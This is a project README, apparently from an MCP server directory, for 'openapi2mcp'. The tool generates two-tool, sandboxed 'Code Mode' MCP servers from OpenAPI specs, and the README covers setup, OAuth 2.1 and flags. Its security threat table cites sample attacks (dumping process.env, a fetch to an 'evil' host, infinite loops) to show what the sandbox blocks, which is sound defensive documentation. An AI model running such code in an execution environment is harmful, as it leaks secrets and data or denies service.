Skip to main content
Glama
dspachos
by dspachos
README.md
# openapi2mcp

[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](#license)
[![TypeScript](https://img.shields.io/badge/TypeScript-5-3178C6.svg)]()
[![Node.js](https://img.shields.io/badge/Node.js-22-339933.svg)]()
[![MCP](https://img.shields.io/badge/MCP-Code%20Mode-7c3aed.svg)]()
[![Status: WIP](https://img.shields.io/badge/status-WIP-orange.svg)](#status)
[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg)]()

<h3 align="center"><b>Turn any OpenAPI spec into a token-efficient MCP server —<br>the entire API through two tools, no matter how big it is.</b></h3>

<a id="status"></a>

> ⚠️ **Work in progress.** This project is early and actively evolving — the API,
> generated output, and configuration may change without notice. Not production-ready.
> Expect rough edges; ideas and PRs welcome (see [CONTRIBUTING.md](./CONTRIBUTING.md)).

`openapi2mcp` generates a standalone, Dockerizable MCP server that exposes a whole
REST API via just `search` and `execute`, following the
[**Code Mode**](https://blog.cloudflare.com/code-mode-mcp/) pattern popularized by
Cloudflare. The model writes a little JavaScript; the server runs it safely. The
result: a **fixed ~1–2k token footprint** that never grows with your API.

```
your OpenAPI spec  ──►  openapi2mcp  ──►  a runnable MCP server (2 tools, ~1–2k tokens)
```

---

## The problem

Every endpoint you expose as a normal MCP tool fills the model's context window.
For a large API this breaks entirely:

| Approach | Tools | Tokens (200k context) |
| --- | --- | --- |
| Raw spec in prompt | — | ~2,000,000 (**977%**) |
| Native MCP — full schemas | 2,500 | 1,170,000 (**585%** ❌) |
| Native MCP — minimal schemas | 2,500 | 244,000 (**122%**) |
| **Code Mode — this project** | **2** | **~1,200 (0.5% ✅)** |

Code Mode inverts the model: instead of picking from thousands of fixed tools, the
agent **writes code** that says what it wants, and the server executes it.

## Quickstart

```bash
git clone https://github.com/dspachos/openapi2mcp.git openapi2mcp && cd openapi2mcp
npm install

# Generate a server from the canonical Petstore spec (no creds needed)
npm run example

# Run it
cd generated/petstore-mcp && npm install && npm start   # → http://localhost:8787/mcp
```

Connect any MCP client:

```json
{
  "mcpServers": {
    "petstore": { "type": "http", "url": "http://localhost:8787/mcp" }
  }
}
```

Then just ask your agent: *"find the endpoints for managing orders, then list the
stored orders."* It will `search` the spec, then `execute` the calls.

## How it works

```
┌──────────┐   tools/call(search)   ┌────────────────────────┐
│          │ ─────────────────────► │  Generated MCP server   │
│   Agent  │   tools/call(execute)  │  ┌──────────────────┐   │
│   (LLM)  │ ◄───────────────────── │  │  sandbox          │   │
│          │   results only         │  │  (isolated-vm)    │   │
│          │   (the spec never      │  │   • no fs / env   │   │
│          │    reaches the agent)  │  │   • no free fetch │   │
└──────────┘                        │  └────────┬─────────┘   │
                                    │           │ api.request │
                                    │  ┌────────▼─────────┐   │
                                    │  │  host process    │   │
                                    │  │   • injects auth │───►  your API
                                    │  │   • host allow-  │   │
                                    │  │     list (fetch) │   │
                                    │  └──────────────────┘   │
                                    └────────────────────────┘
```

- **`search({ code })`** — read-only JavaScript over the resolved OpenAPI spec
  (`spec.paths`). The agent discovers the endpoints it needs; the full spec
  **never enters its context**.
- **`execute({ code })`** — JavaScript that calls
  `api.request({ method, path, query, body })` to hit the API, compose calls,
  paginate, filter results, and return just what's needed.

## Security model

This tool executes **model-authored code at runtime**, so the sandbox is the whole
game. Each generated server runs untrusted code in a hardened
[isolated-vm](https://github.com/laverdet/isolated-vm) V8 isolate — **not** Node's
`vm` module, which is not a security boundary.

| Threat | Mitigation |
| --- | --- |
| Secret exfiltration (`JSON.stringify(process.env)`) | No `process`, `require`, or env access inside the isolate |
| Data exfiltration (`fetch('https://evil/…')`) | No `fetch`; `api.request` is the **only** network primitive, locked to your API base URL |
| Token leakage | The API secret is injected by the host and is **never visible** to sandboxed code |
| DoS (`while(true){}` / memory bombs) | Per-call memory limit + wall-clock timeout; a fresh isolate per call |

## Where AI fits

At **generation time only** — zero LLM cost per request. If you provide an
OpenAI-compatible endpoint, the generator analyzes your spec and writes tailored
`search`/`execute` descriptions, grounded examples using **real** API paths, and
notes on response envelopes / pagination / auth quirks. If unavailable, it falls
back to deterministic descriptions. Disable with `--no-ai`.

Works with any OpenAI-compatible provider — OpenAI, Azure, OpenRouter, LiteLLM,
Ollama, a local gateway, etc.:

```bash
export OPENAI_API_KEY=sk-...
export OPENAI_BASE_URL=https://api.openai.com/v1   # or your gateway
```

## OAuth 2.1 — per-user, downscoped access

For multi-user deployments, generate with `--oauth` and the server becomes its own
OAuth 2.1 authorization server (the model Cloudflare uses):

```bash
openapi2mcp generate --spec ... --oauth --auth bearer --auth-env API_TOKEN
```

Each end-user then authorizes via a browser consent flow instead of sharing one
baked-in token:

1. The MCP client hits `/mcp` unauthenticated → `401` + Protected Resource Metadata.
2. It discovers `/.well-known/oauth-authorization-server`, registers a client
   (`/register` — Dynamic Client Registration), and runs **authorization-code +
   PKCE (S256)**.
3. The consent page asks the user for **their** upstream API token and which
   **scopes** to grant. Scopes are **derived from the spec** automatically —
   `<product>:<read|write>`, e.g. `orders:read`, `billing:write`.
4. The server issues a short-lived RS256 JWT access token + refresh token,
   storing the user's upstream token server-side (it never enters the sandbox).
5. On every `execute` the granted scopes are enforced — the agent cannot call
   operations the user didn't approve.

Endpoints: `/.well-known/oauth-protected-resource`,
`/.well-known/oauth-authorization-server` (RFC 8414), `/authorize`, `/token`,
`/register`, `/revoke`, `/jwks`.

> ⚠️ **Security notes.** Access tokens are signed by a per-process key (restart
> invalidates them; refresh tokens survive). The token store is in-memory /
> single-instance — swap in Redis/KV/Postgres for multi-instance. The
> paste-token consent model trusts the resource owner to paste into a flow they
> initiated. This is a focused MCP subset — security review recommended before
> production.

## Usage

```bash
npx tsx src/index.ts generate \
  --spec https://api.example.com/openapi.json \
  --name example \
  --base-url https://api.example.com \
  --auth bearer --auth-env EXAMPLE_API_TOKEN \
  --out ./generated/example-mcp
```

| Flag | Purpose |
| --- | --- |
| `--spec <url\|file>` | OpenAPI spec (**required**) |
| `--name <name>` | server / output name (**required**) |
| `--out <dir>` | output dir (default `./generated/<name>-mcp`) |
| `--base-url <url>` | target API base URL (else spec `servers`, or spec URL origin) |
| `--base-url-env <VAR>` | env var to read the base URL at runtime (preferred) |
| `--auth bearer\|apikey\|none` | auth scheme (default: auto-detect from `securitySchemes`) |
| `--auth-env <VAR>` | env var holding the target API secret (default `API_TOKEN`) |
| `--auth-header <name>` | header for apikey auth (default `X-Api-Key`) |
| `--oauth` | enable OAuth 2.1 authorization-server mode (per-user, downscoped tokens) |
| `--no-ai` | skip AI augmentation |
| `--llm-base-url <url>` | LLM base (default `$OPENAI_BASE_URL`) |
| `--llm-api-key <key>` | LLM key (default `$OPENAI_API_KEY`) |
| `--llm-model <id>` | model id (default: auto-detect via `/v1/models`) |

## The generated server

```
<name>-mcp/
├── spec.json          # resolved, trimmed OpenAPI spec (for the search tool)
├── meta.json          # auth, base URL, AI-generated descriptions & examples
├── package.json
├── Dockerfile
└── src/
    ├── index.ts       # MCP server + streamable HTTP transport
    ├── sandbox.ts     # isolated-vm runner (the security boundary)
    ├── search.ts      # search tool (read-only over the spec)
    └── execute.ts     # execute tool (locked-down api.request)
```

```bash
cd generated/example-mcp
cp .env.example .env          # set base URL + secret + PORT
npm install && npm start      # → http://0.0.0.0:8787/mcp
```

**Docker:**

```bash
docker build -t example-mcp .
docker run -p 8787:8787 \
  -e BASE_URL=https://api.example.com \
  -e API_TOKEN=secret \
  example-mcp
```

The runtime is **fixed code** — only `spec.json` and `meta.json` vary per API. It
runs on plain Node + Docker (no Cloudflare Workers dependency; `isolated-vm`
replaces their Dynamic Worker Loader).

## Project structure

```
openapi2mcp/
├── src/                # the generator
│   ├── spec/           #   fetch · $ref resolver · spec trimmer
│   ├── analyze.ts      #   detect base URL + auth scheme
│   ├── ai.ts           #   optional AI augmentation (OpenAI-compatible)
│   ├── emit.ts         #   scaffold from template/ + inject spec.json/meta.json
│   └── generator.ts    #   orchestration
└── template/           # the runtime, copied verbatim into every generated server
```

## How it compares

| Approach | Token cost | Scales to huge APIs | Sandbox needed | Agent-side changes |
| --- | :---: | :---: | :---: | :---: |
| Native MCP (one tool / endpoint) | high (grows with API) | ❌ | no | none |
| CLI-per-server (progressive disclosure) | low | ✅ | shell (larger surface) | needs a shell |
| Dynamic tool search | medium | ⚠️ | no | needs a search fn |
| **openapi2mcp (Code Mode)** | **~1–2k fixed** | ✅ | isolated-vm | none |

## Contributing

Contributions welcome — see [CONTRIBUTING.md](./CONTRIBUTING.md) for setup,
where things live, and PR conventions.

## Roadmap

- [x] **OAuth 2.1** per-user, downscoped authorization-server mode ✅
- [ ] Durable / multi-instance token store (Redis, KV, Postgres) + persisted signing key
- [ ] B1 path: delegated upstream OAuth (GitHub/Google-style refresh-token storage)
- [ ] Streaming / chunked responses for large payloads
- [ ] Heuristic response-envelope + pagination auto-handling
- [ ] Published as an `npx`-able npm package
- [ ] Tests across more OpenAPI edge cases (Swagger 2.0, `allOf`/`oneOf`, webhooks)

## Acknowledgements

Inspired by Cloudflare's [Code Mode](https://blog.cloudflare.com/code-mode-mcp/)
and Anthropic's [Code Execution with MCP](https://www.anthropic.com/engineering/code-execution-with-mcp).
Security is built on [isolated-vm](https://github.com/laverdet/isolated-vm) by
[Karl Miller](https://github.com/laverdet). MCP via the official
[Model Context Protocol SDK](https://github.com/modelcontextprotocol/typescript-sdk).

## License

[MIT](./LICENSE)

Maintenance

ActivityMaintained
ResponsivenessNo issues